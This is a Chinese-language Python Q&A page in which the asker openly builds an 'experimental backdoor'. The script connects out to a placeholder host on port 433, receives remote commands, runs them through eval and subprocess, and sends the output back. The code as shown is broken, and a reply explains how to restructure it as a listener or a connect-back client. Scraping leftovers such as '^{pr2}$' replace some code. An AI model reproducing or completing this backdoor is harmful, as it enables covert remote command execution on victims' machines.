将监听TCP p的结果放入变量

2024-05-15 07:58:02 发布

您现在位置:Python中文网/ 问答频道 /正文

我在做一个实验性的后门,需要把我要发送到端口号433的字符串放入一个变量中。我试过了,但没用。代码如下:

 import socket
 import time
 import subprocess

 host = ''  # <-- WRITE HERE THE HOST TO RECIVE INFO
 port = '433'
 s = socket.socket()
 s.accept()
 my_ip = socket.gethostbyname(socket.gethostname())
 s.bind((host, port))
 try:
     s.connect()
 except socket.error():
     time.sleep(5)
     s.connect()
 s.send("\n[*] Status: Conected!")
 s.listen(port)
 while 1:
     time.sleep(2)
     s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...")
     s.send("\n[*] Status: Listening port " + str(port) + "...")
     rmt_cmd = s.recv(1024)
     if rmt_cmd != "":
         eval(rmt_cmd)
         s.send("\n[*] Status: Executing ( " + str(rmt_cmd) + " )...")
         process = subprocess.Popen(rmt_cmd, shell=False,
         stdout=subprocess.PIPE, stderr=subprocess.PIPE,       stdin=subprocess.PIPE)
         cmd_output = process.stdout.read() + process.stderr.read()
         s.send("\n[*] Command output/error(s):")
         s.send("\n[*] " + cmd_output)
     else:
         s.send("\n[*] No command recived")
         s.send("\n[*] Status: Listening port " + str(port) + "...")

在这里,代码尝试连接到主机,如果出现错误,它将等待5秒并重试,因为另一台计算机有一个程序,该程序通过接受连接的操作系统启动,因此后门等待5秒,因为计算机可能正在启动:

^{pr2}$

但问题是我想把我要发送到端口433的字符串放入rmt_cmd(remote_command),这给了我另一件事:

rmt_cmd = s.recv(1024)

我该怎么做?在


Tags: 字符串importcmdsendoutputtimeportstatus
1条回答
网友
1楼 · 发布于 2024-05-15 07:58:02

虽然我理解你想做什么,但你要达到这个目的的方式需要重新设计。在

s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
    s.connect()
except socket.error():
    time.sleep(5)
    s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)

你需要了解你真正想要什么。在

1)您是否希望后门保持被动并等待连接?那么应该是这样的:

^{pr2}$

在这种情况下,您的操作系统也可能不允许您绑定433端口。1024以下的端口通常禁止第三方应用程序使用,以防止冲突和后门(ha-ha)。在

2)是否希望后门主动连接到远程主机?只需创建socket并使用其connect方法。不要将bind+listen+accept(被动套接字模式)与connect(主动模式)混合使用。在

rmt_cmd = s.recv(1024)部分is unreliable and needs to be refactoreds.send用法也是一样。请改用s.sendall,否则将无法在一个^{中发送整个消息。在

相关问题 更多 >